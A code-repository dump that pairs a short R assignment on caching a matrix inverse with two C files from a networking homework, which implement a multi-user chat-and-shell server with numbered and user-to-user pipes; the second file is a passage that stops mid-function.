<repo_name>ishabnam/ProgrammingAssignment2<file_sep>/cachematrix.R ## Put comments here that give an overall description of what your ## functions do # We rely on the <<- operator to assign the inversion of a matrix first and ## later, use it to avoid repeated calculations. # In what follows, we introduce two functions: (1) makeCacheMatrix which # creates a list containing the cached inversion of a matrix (x). # (2) cacheSolve(x, ...) which uses the created list in an efficient way. # example of use: # x <- matrix(rnorm(9), 3, 3) # y <- makeCacheMatrix(x) # for (i in 1:3) {cacheSolve(y)} ## Write a short comment describing this function # Creates a special matrix object which is a list containing functions to # (i) set the value of the matrix # (ii) get the value of the matrix. # (iii) set the value of the invert of the matrix # (iv) get the value of the invert of the matrix makeCacheMatrix <- function(x = matrix()) { m <- NULL set <- function(y) { x <<- y m <<- NULL } get <- function() x setinv <- function(solve) m <<- solve getinv <- function() m list(set = set, get = get, setinv = setinv, getinv = getinv) } ## Write a short comment describing this function # calculates the inverse of the special matrix object created with the above # function. First, we check to see if the invert has already been calculated. # If yes, we simply get the invert from the cache and skip the computation. # Otherwise, we calculate the invert of the matrix and set this value # for future use. cacheSolve <- function(x, ...) { ## Return a matrix that is the inverse of 'x' m <- x$getinv() if(!is.null(m)) { message("getting cached data") return(m) } data <- x$get() m <- solve(data, ...) x$setinv(m) m }
58a5ab2c404837cad265265537e7bb83021db7ea
[ "R" ]
1
R
ishabnam/ProgrammingAssignment2
b07b13b326e92c652e0cb785fdf261d6ca8ec5bf
282aa0c66edad9c2f76d4972bc7a6bdb2dfec90b
refs/heads/master
<repo_name>blue9995566/NP_hw2<file_sep>/serversingle.c /* ** server.c -- a stream socket server demo */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <arpa/inet.h> #include <sys/wait.h> #include <signal.h> #include <ctype.h> #define PORT "6666" // the port users will be connecting to #define BACKLOG 5 // how many pending connections queue will hold static char* next; static char* next_arg; static char* args[512]; static char* digi; static int next_count; static int cmd_no[30]; static char* ptr_env; static int _break=0; static int first; static char* filename; static int client_pipe[30][30]; //1>2 would save to client_pipe[0][1]. static int to_other=0; struct clientdata{ int fd; char name[20]; char ip[15]; int port; char path[50]; //their own environment. }; static int total_cli=0; static struct clientdata clients[30]; void addtotable(int fd){ for (int i=0;i<30;i++){ if(clients[i].fd==0){ clients[i].fd=fd; strcpy(clients[i].name,"(no name)"); strcpy(clients[i].ip,"CGILAB"); clients[i].port=511; strcpy(clients[i].path,"bin:."); total_cli++; break; } } } int fdtoindex(int fd); void delfromtable(int fd){ for (int i=0;i<30;i++){ if(clients[i].fd==fd){ clients[i].fd=0; strcpy(clients[i].name,"(no name)"); strcpy(clients[i].ip,"123.123"); clients[i].port=123; bzero(clients[i].path,50); cmd_no[fdtoindex(fd)]=0; total_cli--; break; } } } int fdtoindex(int fd){ for (int i=0;i<30;i++){ if(clients[i].fd==fd){ return i; } } } void who(int fd){ int total=0; int i=0; char mes[10000]; sprintf(mes,"<ID>\t<nickname>\t<IP/port>\t<indicate me>\n"); send(fd,mes,strlen(mes),0); while(total!=total_cli){ if(clients[i].fd!=0){ total++; if(clients[i].fd==fd){ sprintf(mes,"%d\t%s\t%s/%d\t<-me\n",(i+1),clients[i].name,clients[i].ip,clients[i].port); send(fd,mes,strlen(mes),0); } else { sprintf(mes,"%d\t%s\t%s/%d\n",(i+1),clients[i].name,clients[i].ip,clients[i].port); send(fd,mes,strlen(mes),0); } } i++; } } void sendsym(int fd){ char *sym="% "; send(fd,sym,strlen(sym),0); } void sigchld_handler(int s) { (void)s; // quiet unused variable warning // waitpid() might overwrite errno, so we save and restore it: int saved_errno = errno; while(waitpid(-1, NULL, WNOHANG) > 0); errno = saved_errno; } // get sockaddr, IPv4 or IPv6: void *get_in_addr(struct sockaddr *sa) { if (sa->sa_family == AF_INET) { return &(((struct sockaddr_in*)sa)->sin_addr); } return &(((struct sockaddr_in6*)sa)->sin6_addr); } void split(char* cmd); void run(int next_count,int me); static int ispipe(char* cmd); static int fd[30][1024][2]; static int tofile(char *args[]); static int fromwho(void); static int pipein_num(int* pipein); static fd_set master; // master file descriptor list static fd_set read_fds; // temp file descriptor list for select() static int fdmax; // maximum file descriptor number static char thecmd[10000]; //init the command static char* other; static int towho; int target(char* cmd); static int listener; // listening socket descriptor static int newfd; // newly accept()ed socket descriptor void cmdnonr(char* cmd); void broadcast(char* mes,int fd){ for(int j = 0; j <= fdmax; j++) { // send to everyone! if (FD_ISSET(j, &master)) { // except the listener and ourselves // if (j != listener && j != fd) { if (j != listener) { send(j,mes,strlen(mes),0); // if (send(j, buf, nbytes, 0) == -1) { // perror("send"); // } } } } } void name(char *name,int fd){ int total=0; int i=0; int used=0; while(total!=total_cli){ if(clients[i].fd!=0){ total++; if(strcmp(name, clients[i].name) == 0){ used=1; char mes[10000]; sprintf(mes,"*** User '%s' already exists. ***\n",name); send(fd,mes,strlen(mes),0); break; } } i++; } if (!used){ strcpy(clients[fdtoindex(fd)].name,args[1]); char mes[10000]; sprintf(mes,"*** User from %s/%d is named '%s'. ***\n",clients[fdtoindex(fd)].ip,clients[fdtoindex(fd)].port,clients[fdtoindex(fd)].name); broadcast(mes,fd); } } int main(void) { // setenv("PATH","bin:.",1); struct sockaddr_storage remoteaddr; // client address socklen_t addrlen; char buf[256]; // buffer for client data int nbytes; char remoteIP[INET6_ADDRSTRLEN]; int yes=1; // for setsockopt() SO_REUSEADDR, below int i, j, rv; struct addrinfo hints, *ai, *p; FD_ZERO(&master); // clear the master and temp sets FD_ZERO(&read_fds); // get us a socket and bind it memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; if ((rv = getaddrinfo(NULL, PORT, &hints, &ai)) != 0) { fprintf(stderr, "selectserver: %s\n", gai_strerror(rv)); exit(1); } for(p = ai; p != NULL; p = p->ai_next) { listener = socket(p->ai_family, p->ai_socktype, p->ai_protocol); if (listener < 0) { continue; } // lose the pesky "address already in use" error message setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)); if (bind(listener, p->ai_addr, p->ai_addrlen) < 0) { close(listener); continue; } break; } // if we got here, it means we didn't get bound if (p == NULL) { fprintf(stderr, "selectserver: failed to bind\n"); exit(2); } freeaddrinfo(ai); // all done with this // listen if (listen(listener, 10) == -1) { perror("listen"); exit(3); } // add the listener to the master set FD_SET(listener, &master); // keep track of the biggest file descriptor fdmax = listener; // so far, it's this one // main loop for(;;) { read_fds = master; // copy it if (select(fdmax+1, &read_fds, NULL, NULL, NULL) == -1) { perror("select"); exit(4); } // run through the existing connections looking for data to read for(i = 0; i <= fdmax; i++) { if (FD_ISSET(i, &read_fds)) { // we got one!! if (i == listener) { // handle new connections addrlen = sizeof remoteaddr; newfd = accept(listener,(struct sockaddr *)&remoteaddr,&addrlen); if (newfd == -1) { perror("accept"); } else { addtotable(newfd); FD_SET(newfd, &master); // add to master set if (newfd > fdmax) { // keep track of the max fdmax = newfd; } printf("selectserver: new connection from %s on socket %d\n", inet_ntop(remoteaddr.ss_family,get_in_addr((struct sockaddr*)&remoteaddr), remoteIP, INET6_ADDRSTRLEN),newfd); char *welcome="****************************************\n" "** Welcome to the information server. **\n" "****************************************\n"; send(newfd,welcome,strlen(welcome),0); char mes[10000]; sprintf(mes,"*** User '%s' entered from %s/%d. ***\n",clients[fdtoindex(newfd)].name,clients[fdtoindex(newfd)].ip,clients[fdtoindex(newfd)].port); broadcast(mes,newfd); sendsym(newfd); } } else { // handle data from a client bzero(buf,10000); if ((nbytes = recv(i, buf, sizeof buf, 0)) <= 0) { // got error or connection closed by client if (nbytes == 0) { // connection closed char mes[10000]; sprintf(mes,"*** User '%s' left. ***\n",clients[fdtoindex(i)].name); broadcast(mes,i); for (int j = 0; j < 30; ++j) { // printf("%d\n",client_pipe[j][fdtoindex(i)]); client_pipe[j][fdtoindex(i)]=0; } delfromtable(i); } else { perror("recv"); } close(i); // bye! FD_CLR(i, &master); // remove from master set } else { //parse the input // we got some data from a client if(buf[0]=='\n' || buf[0]=='\r'){ ; }else{ first=1; bzero(thecmd,10000); strcpy(thecmd,buf); cmdnonr(thecmd); to_other=0; int saveout=dup(1); int saveerr=dup(2); dup2(i,1); dup2(i,2); // printf("123"); //something weird. // args[2]=NULL; // printf("hahahaha %s\n",args[2]); // printf("%d,%d\n",fdtoindex(i),cmd_no[fdtoindex(i)]); char* cmd=buf; other=strchr(cmd,'>'); if (other!=NULL) { other++; if(isdigit(*other)){ // printf("to other\n"); to_other=1; }else{ // printf("to file\n"); ; } other--; if(to_other) { *other=' '; towho=target(other); } // printf("%d\n",towho); // printf("%c\n",other[0]); } next=strchr(cmd,'|'); if(next!=NULL) *next='\0'; while(next!=NULL){ first=0; _break=0; // printf("cmd:%s\n",cmd); split(cmd); // args[1] = NULL; // fromwho(); // printf("args:%s\n",args[0]); run(ispipe(next),i); ++cmd_no[fdtoindex(i)]; if(_break) break; //unknow command cmd=next; next=strchr(cmd,'|'); if(next==NULL) break; *next='\0'; } if(!_break){ // printf("cmd:%s\n",cmd); // printf("bb%s\n",args[30]); split(cmd); // args[0]=NULL; // printf("aa%s\n",args[0]); // args[1][0] = 'x'; // printf("in main function:%d\n",fromwho()); // printf("args:%s\n",args[1]); run(0,i); ++cmd_no[fdtoindex(i)]; } _break=0; dup2(saveout,1); dup2(saveerr,2); close(saveout); close(saveerr); } sendsym(i); // printf("123"); //something weird. } } // END handle data from client } // END got new incoming connection } // END looping through file descriptors } // END for(;;)--and you thought it would never end! return 0; } char* skipwhite(char* s) { while (isspace(*s)) ++s; return s; } void split(char* cmd){ cmd = skipwhite(cmd); next_arg = strchr(cmd,' '); int i = 0; args[0]=NULL; // init for yell and yell command. args[1]=NULL; while(next_arg != NULL) { next_arg[0] = '\0'; args[i] = cmd; ++i; if(strcmp(args[0], "yell") == 0){ cmd = skipwhite(next_arg + 1); next_arg =NULL; }else if(strcmp(args[0],"tell") == 0 && args[1]!=NULL){ cmd = skipwhite(next_arg + 1); next_arg =NULL; }else{ cmd = skipwhite(next_arg + 1); next_arg = strchr(cmd, ' '); } } if (cmd[0] != '\0') { args[i] = cmd; next_arg = strchr(cmd,'\r'); if(next_arg==NULL) next_arg = strchr(cmd,'\n'); next_arg[0] = '\0'; ++i; } args[i] = NULL; } void cmdnonr(char* cmd){ int i=0; while(cmd[i]!='\0'){ if(cmd[i]=='\n' || cmd[i]=='\r'){ cmd[i]='\0'; i--; } i++; } } int ispipe(char* cmd){ //it return the pipe number count. char num[4]; for (int i=0;i<4;i++){ // initialize num[i]=' '; } int i=0; if(cmd!=NULL){ digi=cmd+1; if(isspace(digi[0])) i=1; else{ while(isdigit(*digi)){ i++; digi++; } if(i>0){ strncpy(num,digi-i,i); i=atoi(num); } } next=digi; } return i; } int target(char* cmd){ //it return the target id. char num[4]; for (int i=0;i<4;i++){ // initialize num[i]=' '; } int i=0; if(cmd!=NULL){ digi=cmd+1; if(isspace(digi[0])) i=1; else{ while(isdigit(*digi)){ i++; digi++; } if(i>0){ strncpy(num,digi-i,i); digi=digi-i; for(int j=0;j<i;j++){ digi[j]=' '; } i=atoi(num); } } } return i; } void run(int next_count,int me){ setenv("PATH",clients[fdtoindex(me)].path,1); // printf("%d\n",cmd_no); // printf("%s: to_other:%d, next_count:%d\n",args[0],to_other,next_count); // printf("%d,%d\n",me,fdtoindex(me)); int inuse=0; char mes[10000]; if(args[0] == NULL){ --cmd_no[fdtoindex(me)]; } else if(strcmp(args[0], "yell") == 0){ sprintf(mes,"*** %s yelled ***: %s\n",clients[fdtoindex(me)].name,args[1]); broadcast(mes,me); } else if(strcmp(args[0], "tell") == 0){ //broadcast! if (clients[atoi(args[1])-1].fd==0){ printf("*** Error: user #%d does not exist yet. ***\n",atoi(args[1])); }else{ sprintf(mes,"*** %s told you ***: %s\n",clients[fdtoindex(me)].name,args[2]); send(clients[atoi(args[1])-1].fd,mes,strlen(mes),0); } } else if(strcmp(args[0], "who") == 0){ who(me); } else if(strcmp(args[0], "name") == 0){ name(args[1],me); } else if(strcmp(args[0], "exit") == 0){ for (int j = 0; j < 30; ++j) { // printf("%d\n",client_pipe[j][fdtoindex(me)]); client_pipe[j][fdtoindex(me)]=0; } sprintf(mes,"*** User '%s' left. ***\n",clients[fdtoindex(me)].name); broadcast(mes,me); delfromtable(me); close(me); FD_CLR(me, &master); } else if(strcmp(args[0], "setenv") == 0){ if(args[1]!=NULL&&args[2]!=NULL) { bzero(clients[fdtoindex(me)].path,50); strcpy(clients[fdtoindex(me)].path,args[2]); // setenv(args[1],args[2],1); } }else if(strcmp(args[0], "printenv") == 0){ if(args[1]!=NULL){ char *ptr_path = getenv(args[1]); printf("%s=%s\n",args[1],ptr_path); } } else{ int self=0; // 0 is not self, 1 is self. if(cmd_no[fdtoindex(me)]>1023) cmd_no[fdtoindex(me)]-=1024; if(fd[fdtoindex(me)][cmd_no[fdtoindex(me)]][0]==0) { // check pipe open or not. pipe(fd[fdtoindex(me)][cmd_no[fdtoindex(me)]]); self=1; } int next_cmd=cmd_no[fdtoindex(me)]+next_count; if(next_cmd>1023) next_cmd-=1024; if(fd[fdtoindex(me)][next_cmd][0]!=0) inuse=1; if((next_count!=0) && (fd[fdtoindex(me)][next_cmd][0]==0)) pipe(fd[fdtoindex(me)][next_cmd]); // printf("%d\n",next_count); // printf("%s:\n",args[0]); // printf("now:%d,fd[%d][0]:%d,fd[%d][1]:%d\n",cmd_no,cmd_no,fd[cmd_no][0],cmd_no,fd[cmd_no][1]); // printf("----next:%d,fd[%d][0]:%d,fd[%d][1]:%d----\n",next_cmd,next_cmd,fd[next_cmd][0],next_cmd,fd[next_cmd][1]); FILE *fp; int tofiles=tofile(args); int fd_com[2]; int success_to=0; int err=0; int from_other=0; int from_who=fromwho(); // printf("%d\n",from_who-1); // printf("[%d][%d]%d\n",from_who-1,fdtoindex(me),client_pipe[from_who-1][fdtoindex(me)]); if(from_who>-1){ // printf("[%d][%d]%d\n",from_who-1,fdtoindex(me),client_pipe[from_who-1][fdtoindex(me)]); if(clients[from_who-1].fd==0 || client_pipe[from_who-1][fdtoindex(me)]==0){ // printf("[from]the client doesn't exist\n"); printf("*** Error: the pipe #%d->#%d does not exist yet. ***\n",from_who,fdtoindex(me)+1); err=1; _break=1; }else { from_other=1; sprintf(mes,"*** %s (#%d) just received from %s (#%d) by '%s' ***\n",clients[fdtoindex(me)].name, fdtoindex(me)+1,clients[from_who-1].name,from_who,thecmd); broadcast(mes,me); // printf("from%s\n",clients[from_who-1].name); } } if(next_count==0){ if(tofiles){ fp=fopen(filename,"w"); dup2(fileno(fp),1); } else if (to_other){ // printf("from %d to %d \n",fdtoindex(me),towho-1); if(clients[towho-1].fd==0){ // printf("the client doesn't exist\n"); printf("*** Error: user #%d does not exist yet. ***\n",towho); err=1; }else if (client_pipe[fdtoindex(me)][towho-1]!=0){ // printf("already exist\n"); printf("*** Error: the pipe #%d->#%d already exists. ***\n",fdtoindex(me)+1,towho); err=1; }else { // printf("-----to %s\n",clients[towho-1].name); success_to=1; pipe(fd_com); client_pipe[fdtoindex(me)][towho-1]=fd_com[0]; sprintf(mes,"*** %s (#%d) just piped '%s' to %s (#%d) ***\n",clients[fdtoindex(me)].name, fdtoindex(me)+1,thecmd,clients[towho-1].name,towho); broadcast(mes,me); // printf("[%d][%d]%d\n",fdtoindex(me),towho-1,client_pipe[fdtoindex(me)][towho-1]); dup2(fd_com[1],1); } // printf("--%d\n",towho); // printf("%d,%d\n",fd_com[0],fd_com[1]); } } //execute the command! if(!err){ int status; int pid=fork(); if(pid==0){ //child process, execute the command if(next_count!=0) { //write to pipe. // printf("write to %d\n",fd[next_cmd][1]); dup2(fd[fdtoindex(me)][next_cmd][1],1); } if(fd[fdtoindex(me)][cmd_no[fdtoindex(me)]][0]!=0 && !self) { //get the pipe input. close(fd[fdtoindex(me)][cmd_no[fdtoindex(me)]][1]); dup2(fd[fdtoindex(me)][cmd_no[fdtoindex(me)]][0],0); } //test,from other. // printf("%d\n",client_pipe[1][0]); if (from_other){ // printf("OK\n"); dup2(client_pipe[from_who-1][fdtoindex(me)],0); } if (execvp(args[0],args) == -1){ dup2(2,1); printf("Unknown command: [%s].\n", args[0]); _exit(EXIT_FAILURE); // If child fails } }else{ //parent process //test, from other. if (from_other){ // printf("close OK\n"); close(client_pipe[from_who-1][fdtoindex(me)]); client_pipe[from_who-1][fdtoindex(me)]=0; } close(fd[fdtoindex(me)][cmd_no[fdtoindex(me)]][1]); waitpid(pid,&status,0); if(next_count==0){ if(tofiles){ close(fileno(fp)); } else if (to_other && success_to){ // printf("close:%d\n",fd_com[1]); close(fd_com[1]); } } // printf("status:%d\n",status); if(status==256 && !first) { if(next_count>0 && !inuse){ close(fd[fdtoindex(me)][next_cmd][0]); close(fd[fdtoindex(me)][next_cmd][1]); fd[fdtoindex(me)][next_cmd][0]=0; fd[fdtoindex(me)][next_cmd][1]=0; } int fakefd[2]; pipe(fakefd); close(fakefd[0]); fd[fdtoindex(me)][cmd_no[fdtoindex(me)]][1]=fakefd[1]; //fake fd --cmd_no[fdtoindex(me)]; _break=1; } else{ close(fd[fdtoindex(me)][cmd_no[fdtoindex(me)]][0]); fd[fdtoindex(me)][cmd_no[fdtoindex(me)]][0]=0; fd[fdtoindex(me)][cmd_no[fdtoindex(me)]][1]=0; } // wait(NULL); } } } } int pipein_num(int* pipein){ int i=0; for(int j=0;j<1024;j++){ if(pipein[j]==0) break; ++i; } return i; } int tofile(char *args[]){ int ret=0; for(int i=0;i<512;i++){ if(args[i]==NULL) break; if(strcmp(args[i],">") == 0){ ret=1; filename=args[i+1]; args[i]=NULL; break; } } return ret; } static int fromwho(void){ int ret=-1; for(int i=0;i<512;i++){ if(args[i]==NULL) break; int j=0; while(args[i][j]!='\0'){ if(args[i][j]=='<') { // printf("%c\n",args[i][j]); ret=target(args[i]); args[i]=NULL; // printf("--%d\n",target(args[i])); return ret; // printf("%d",target(args[i])); break; }else j++; } } return ret; }<file_sep>/servercon.c /* ** server.c -- a stream socket server demo */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <arpa/inet.h> #include <sys/wait.h> #include <signal.h> #include <ctype.h> #include <sys/shm.h> #include <fcntl.h> #include <sys/stat.h> #define PORT "6666" // the port users will be connecting to #define BACKLOG 5 // how many pending connections queue will hold static char* next; static char* next_arg; static char* args[512]; static char* digi; static int next_count; static int cmd_no=0; static char* ptr_env; static int _break=0; static int first; static char* filename; static int to_other=0; static char* other; static int towho; // functions. int newid(void); void addtotable(int id,int pid); void delfromtable(int id); void clearall(void); int fromwho(void); static char thecmd[10000]; void broadcast(int signum) { if (signum == SIGUSR1) { key_t key3; int shm_id3; char* message; key3=333; shm_id3 = shmget(key3,10000, 0666 | IPC_CREAT); message =shmat(shm_id3, NULL, 0); // printf("broad pointer:%p\n",message ); printf("%s\n",message); shmdt(message); } if (signum == SIGUSR2) { key_t key4; int shm_id4; int *client_pipe; key4=44; shm_id4 = shmget(key4,sizeof(int)*(30*30+2), 0666 | IPC_CREAT); client_pipe =shmat(shm_id4, NULL, 0); int from=client_pipe[900]; int to=client_pipe[901]; // client_pipe[900],client_pipe[901] int fdfifo; char * myfifo = "./.myfifo"; // char myfifos[50]; // char * myfifo=myfifos; // sprintf(myfifo,"/home/ekko/fifodata/myfifo-%d%d",from,to); mkfifo(myfifo, 0666); fdfifo = open(myfifo, O_RDONLY | O_NONBLOCK); //| O_NONBLOCK client_pipe[from*30+(to-1)]=fdfifo; // printf("index:(%d,%d),readfd:%d\n",from,to-1,client_pipe[from*30+(to-1)]); shmdt(client_pipe); } } void sigchld_handler(int s) { (void)s; // quiet unused variable warning // waitpid() might overwrite errno, so we save and restore it: int saved_errno = errno; while(waitpid(-1, NULL, WNOHANG) > 0); errno = saved_errno; } // get sockaddr, IPv4 or IPv6: void *get_in_addr(struct sockaddr *sa) { if (sa->sa_family == AF_INET) { return &(((struct sockaddr_in*)sa)->sin_addr); } return &(((struct sockaddr_in6*)sa)->sin6_addr); } static void split(char* cmd); static int ispipe(char* cmd); static void run(int type,int me); static int fd[1024][2]; static int tofile(char *args[]); int target(char* cmd); typedef struct{ int pid; char name[20]; char ip[15]; int port; // char path[50]; //their own environment. }clientdata; static int pipein_num(int* pipein); void cmdnonr(char* cmd); int main(void) { clearall(); //clear all user. setenv("PATH","bin:.",1); int sockfd, new_fd; // listen on sock_fd, new connection on new_fd struct addrinfo hints, *servinfo, *p; struct sockaddr_storage their_addr; // connector's address information socklen_t sin_size; struct sigaction sa; int yes=1; char s[INET6_ADDRSTRLEN]; int rv; memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; // use my IP if ((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); return 1; } // loop through all the results and bind to the first we can for(p = servinfo; p != NULL; p = p->ai_next) { if ((sockfd = socket(p->ai_family, p->ai_socktype,p->ai_protocol)) == -1) { perror("server: socket"); continue; } if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes,sizeof(int)) == -1) { perror("setsockopt"); exit(1); } if (bind(sockfd, p->ai_addr, p->ai_addrlen) == -1) { close(sockfd); perror("server: bind"); continue; } break; } freeaddrinfo(servinfo); // all done with this structure if (p == NULL) { fprintf(stderr, "server: failed to bind\n"); exit(1); } if (listen(sockfd, BACKLOG) == -1) { perror("listen"); exit(1); } sa.sa_handler = sigchld_handler; // reap all dead processes sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; if (sigaction(SIGCHLD, &sa, NULL) == -1) { perror("sigaction"); exit(1); } printf("server: waiting for connections...\n"); signal(SIGUSR1,broadcast); signal(SIGUSR2,broadcast); while(1) { // main accept() loop sin_size = sizeof their_addr; new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size); if (new_fd == -1) { perror("accept"); continue; } inet_ntop(their_addr.ss_family,get_in_addr((struct sockaddr *)&their_addr),s, sizeof s); printf("selectserver: new connection from %s on socket %d\n", s,new_fd); // printf("%p,%p\n",(void *)0,NULL ); int pid=fork(); if (pid==0) { // this is the child process // printf("%d\n",getpid() ); dup2(new_fd,1); dup2(new_fd,2); close(sockfd); // child doesn't need the listener int me =newid(); char client_message[10000],*welcome="****************************************\n" "** Welcome to the information server. **\n" "****************************************\n",*sym="% "; char *buffer; send(new_fd, welcome,strlen(welcome),0); addtotable(me,getpid()); while(1){ dup2(new_fd,1); dup2(new_fd,2); first=1; bzero(client_message,10000); send(new_fd, sym,strlen(sym),0); int count=0; int flag=1; while(flag){ char tmp[20]={0}; count+=read(new_fd,tmp,20); // printf("%d\n",count); strcat(client_message,tmp); // printf("%s\n",client_message); if(strstr(tmp,"\r\n")!= NULL || strstr(tmp,"\n")!= NULL ) { flag=0; } // printf("%d\n",flag); } if(count<=0) { delfromtable(me); exit(0); } // char thecmd[10000]; //need to share this memory bzero(thecmd,10000); strcpy(thecmd,client_message); cmdnonr(thecmd); to_other=0; // int saveout=dup(1); // int saveerr=dup(2); // dup2(new_fd,1); // dup2(new_fd,2); char* cmd=client_message; char *otehr; other=strchr(cmd,'>'); if (other!=NULL) { other++; if(isdigit(*other)){ to_other=1; }else{ ; } other--; if(to_other) { *other=' '; towho=target(other); } } next=strchr(cmd,'|'); if(next!=NULL) *next='\0'; while(next!=NULL){ first=0; _break=0; split(cmd); run(ispipe(next),me); ++cmd_no; if(_break) break; //unknow command cmd=next; next=strchr(cmd,'|'); if(next==NULL) break; *next='\0'; } if(!_break){ split(cmd); run(0,me); ++cmd_no; } _break=0; // dup2(saveout,1); // dup2(saveerr,2); // close(saveout); // close(saveerr); } } close(new_fd);// parent doesn't need this } return 0; } static char* skipwhite(char* s) { while (isspace(*s)) ++s; return s; } void split(char* cmd){ cmd = skipwhite(cmd); next_arg = strchr(cmd,' '); int i = 0; args[0]=NULL; // init for yell and yell command. args[1]=NULL; while(next_arg != NULL) { next_arg[0] = '\0'; args[i] = cmd; ++i; if(strcmp(args[0], "yell") == 0){ cmd = skipwhite(next_arg + 1); next_arg =NULL; }else if(strcmp(args[0],"tell") == 0 && args[1]!=NULL){ cmd = skipwhite(next_arg + 1); next_arg =NULL; }else{ cmd = skipwhite(next_arg + 1); next_arg = strchr(cmd, ' '); } } if (cmd[0] != '\0') { args[i] = cmd; next_arg = strchr(cmd,'\r'); if(next_arg==NULL) next_arg = strchr(cmd,'\n'); next_arg[0] = '\0'; ++i; } args[i] = NULL; } static int ispipe(char* cmd){ char num[4]; for (int i=0;i<4;i++){ // initialize num[i]=' '; } int i=0; if(cmd!=NULL){ digi=cmd+1; if(isspace(digi[0])) i=1; else{ while(isdigit(*digi)){ i++; digi++; } if(i>0){ strncpy(num,digi-i,i); i=atoi(num); } } next=digi; } return i; } static void run(int next_count,int me){ // printf("the cmd:%s\n",thecmd ); //attach shared memory key_t key,key2; int shm_id,shm_id2; clientdata* clients; /* get the ID of shared memory */ key=1; shm_id = shmget(key,sizeof(clientdata)*30 , 0666 | IPC_CREAT); clients =shmat(shm_id, NULL, 0); int* total_cli; key2=2; shm_id2 = shmget(key2,sizeof(int), 0666 | IPC_CREAT); total_cli =shmat(shm_id2, NULL, 0); key_t key3; int shm_id3; char* message; key3=333; shm_id3 = shmget(key3,10000, 0666 | IPC_CREAT); message =shmat(shm_id3, NULL, 0); key_t key4; int shm_id4; int *client_pipe; key4=44; shm_id4 = shmget(key4,sizeof(int)*(30*30+2), 0666 | IPC_CREAT); client_pipe =shmat(shm_id4, NULL, 0); // printf("%d\n",cmd_no); int inuse=0; if(args[0] == NULL){ --cmd_no; } else if (strcmp(args[0], "exit") == 0) { delfromtable(me); exit(0); } else if(strcmp(args[0], "setenv") == 0){ if(args[1]!=NULL&&args[2]!=NULL) setenv(args[1],args[2],1); }else if(strcmp(args[0], "printenv") == 0){ if(args[1]!=NULL){ char *ptr_path = getenv(args[1]); printf("%s=%s\n",args[1],ptr_path); } }else if(strcmp(args[0], "yell") == 0) { sprintf(message,"*** %s yelled ***: %s",clients[me].name,args[1]); // strcpy(message,args[1]); int cut=0; int i=0; while(cut!=*total_cli){ if(clients[i].pid!=0){ kill(clients[i].pid,SIGUSR1); cut++; } i++; } } else if(strcmp(args[0], "tell") == 0){ //broadcast! if (clients[atoi(args[1])-1].pid==0){ printf("*** Error: user #%d does not exist yet. ***\n",atoi(args[1])); }else{ sprintf(message,"*** %s told you ***: %s",clients[me].name,args[2]); kill(clients[atoi(args[1])-1].pid,SIGUSR1); } }else if(strcmp(args[0], "who") == 0){ int total=0; int i=0; printf("<ID>\t<nickname>\t<IP/port>\t<indicate me>\n"); while(total!=*total_cli){ if(clients[i].pid!=0){ total++; if(i==me){ printf("%d\t%s\t%s/%d\t<-me\n",(i+1),clients[i].name,clients[i].ip,clients[i].port); } else { printf("%d\t%s\t%s/%d\n",(i+1),clients[i].name,clients[i].ip,clients[i].port); } } i++; } }else if(strcmp(args[0], "name") == 0){ int total=0; int i=0; int used=0; while(total!=*total_cli){ if(clients[i].pid!=0){ total++; if(strcmp(args[1], clients[i].name) == 0){ used=1; printf("*** User '%s' already exists. ***\n",args[1]); break; } } i++; } if (!used){ strcpy(clients[me].name,args[1]); sprintf(message,"*** User from %s/%d is named '%s'. ***",clients[me].ip,clients[me].port,clients[me].name); int cut=0; int i=0; while(cut!=*total_cli){ if(clients[i].pid!=0){ kill(clients[i].pid,SIGUSR1); cut++; } i++; } } } else{ int self=0; // 0 is not self, 1 is self. if(cmd_no>1023) cmd_no-=1024; if(fd[cmd_no][0]==0) { // check pipe open or not. pipe(fd[cmd_no]); self=0; } int next_cmd=cmd_no+next_count; if(next_cmd>1023) next_cmd-=1024; if(fd[next_cmd][0]!=0) inuse=1; if((next_count!=0) && (fd[next_cmd][0]==0)) pipe(fd[next_cmd]); FILE *fp; int tofiles=tofile(args); int success_to=0; int err=0; int fdfifo; int from_other=0; int from_who=fromwho(); if(from_who>-1){ // read from fifo messaage if(clients[from_who-1].pid==0 || client_pipe[(from_who-1)*30+me]==0){ // printf("[from]the client doesn't exist\n"); printf("*** Error: the pipe #%d->#%d does not exist yet. ***\n",from_who,me+1); err=1; _break=1; }else { from_other=1; sprintf(message,"*** %s (#%d) just received from %s (#%d) by '%s' ***",clients[me].name, me+1,clients[from_who-1].name,from_who,thecmd); int cut=0; int i=0; while(cut!=*total_cli){ if(clients[i].pid!=0){ kill(clients[i].pid,SIGUSR1); cut++; } i++; }usleep(200); // printf("from%s\n",clients[from_who-1].name); } } if(next_count==0){ if(tofiles){ fp=fopen(filename,"w"); dup2(fileno(fp),1); } else if (to_other){ //write to fifo // printf("from %d to %d \n",me+1,towho); if(clients[towho-1].pid==0){ // printf("the client doesn't exist\n"); printf("*** Error: user #%d does not exist yet. ***\n",towho); err=1; }else if (client_pipe[me*30+(towho-1)]!=0){ // printf("already exist\n"); printf("*** Error: the pipe #%d->#%d already exists. ***\n",me+1,towho); err=1; }else { // printf("-----to %s\n",clients[towho-1].name); success_to=1; // pipe(fd_com); // client_pipe[me*30+(towho-1)]=1; sprintf(message,"*** %s (#%d) just piped '%s' to %s (#%d) ***",clients[me].name, me+1,thecmd,clients[towho-1].name,towho); int cut=0; int i=0; while(cut!=*total_cli){ if(clients[i].pid!=0){ kill(clients[i].pid,SIGUSR1); cut++; } i++; } client_pipe[900]=me; client_pipe[901]=towho; kill(clients[towho-1].pid,SIGUSR2); char * 